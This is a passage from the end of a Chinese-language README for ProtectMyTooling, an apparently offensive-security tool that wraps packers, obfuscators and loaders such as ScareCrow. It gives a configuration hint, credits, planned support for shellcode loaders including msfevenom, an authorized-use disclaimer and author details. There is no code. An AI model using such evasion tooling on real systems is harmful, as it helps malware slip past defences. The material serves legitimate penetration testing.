3. 确保设置 `PackerScareCrow.Run_ScareCrow_On_Windows_As_WSL = True`
---
## 致谢与所用技术
- 所有打包器、混淆器、转换器、加载器的功劳归其原作者所有。本工具仅仅是围绕它们技术的包装器!
- 希望他们不介意我添加这样的包装器。如有顾虑,请与我联系。
- _ProtectMyTooling_ 还使用了由 **moloch--** 开发的 [`denim.exe`](https://github.com/moloch--/denim),用于某些基于 Nim 的打包器。
---
## 待办事项
- 编写自定义 PE 注入器并将其作为“保护器”提供
- 为其他文件格式(如 Office 文档、WSH 脚本(VBS、JS、HTA)和容器)添加水印
- 在不久的将来增加对以下打包器/加载器/生成器的支持:
- [`GadgetToJScript`](https://github.com/med0x2e/GadgetToJScript)
- [`Limelighter`](https://github.com/Tylous/Limelighter)
- [`PEZor`](https://github.com/phra/PEzor)
- [`msfevenom`](https://github.com/rapid7/metasploit-framework) - 两种变体,一种用于输入 shellcode,另一种用于可执行文件
---
## 免责声明
严禁将本工具以及我作为作者的任何其他项目用于非法目的、未经授权的黑客攻击或网络间谍活动。
本工具及其他我分发的工具有助于专业的渗透测试人员、安全顾问、安全工程师及其他安全人员,提升其客户网络的网络防御能力。
在任何情况下,作者或版权持有人均不对因非法使用本软件而引起的任何索赔、损害或其他责任负责。
如有顾虑、版权问题、本软件带来的威胁或其他咨询——我愿意合作以负责任地解决它们。
该工具暴露了便捷的接口,用于使用大多来自开源或商业的打包器/保护器/混淆软件,因此并未对网络安全现状立即引入任何新的威胁。
---
### ☕ 表示支持 ☕
本项目及其他项目是不眠之夜和**大量辛苦工作**的成果。如果你喜欢我所做的事情,并且感谢我始终回馈社区,
[考虑请我喝杯咖啡](https://github.com/sponsors/mgeeky) _(或者更好,请我喝杯啤酒!)_ 来表达感谢吧!💪
---
## 作者```
Mariusz Banach / mgeeky, '20-'22
<mb [at] binary-offensive.com>
(https://github.com/mgeeky)